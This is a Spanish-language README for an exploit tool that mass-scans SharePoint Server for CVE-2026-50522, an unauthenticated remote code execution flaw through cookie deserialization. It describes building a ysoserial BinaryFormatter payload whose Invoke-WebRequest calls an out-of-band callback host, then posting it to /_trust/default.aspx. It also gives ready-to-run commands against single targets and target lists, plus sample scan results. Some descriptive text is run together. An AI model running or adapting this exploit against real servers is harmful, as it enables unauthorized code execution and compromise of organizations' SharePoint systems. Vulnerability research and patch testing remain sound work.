
PoC de CVE-2026-50522
Ejecución remota de código no autenticada en SharePoint Server mediante deserialización de la cookie SecurityContextToken
Exploit de escaneo masivo para CVE-2026-50522 dirigido a Microsoft SharePoint Server local (on-premises). Abusa de la deserialización insegura de BinaryFormatter en el endpoint WS-Federation /_trust/default.aspx para lograr ejecución de código no autenticada mediante cookies SecurityContextToken manipuladas.
Nota: Este proyecto incluye
ysoserial, una conocida herramienta de pruebas de penetración, por lo que tu antivirus podría marcarlo o ponerlo en cuarentena durante la descarga.
ysoserial.exe genera una carga útil serializada con BinaryFormatter usando el gadget TypeConfuseDelegateInvoke-WebRequest hacia una URL de callback fuera de bandaSecurityContextTokenRequestSecurityTokenResponse (WS-Federation)wresult se envía mediante POST a /_trust/default.aspxrequestspython CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain
| Argumento | Descripción | Por defecto |
|---|---|---|
-t, --target | URL del objetivo único | - |
-T, --targets | Archivo con URLs de objetivos, una por línea | - |
-c, --callback-url | URL base del callback OOB (obligatorio) | - |
--callback-mode | path o subdomain | path |
--ysoserial | Ruta de ysoserial.exe | ysoserial.exe |
-x, --proxy | Proxy HTTP | ninguno |
Modo ruta (path) (predeterminado):
http://YOUR_ID.oastify.com/10.10.10.5
Modo subdominio:
http://10.10.10.5.YOUR_ID.oastify.com
[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]
[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed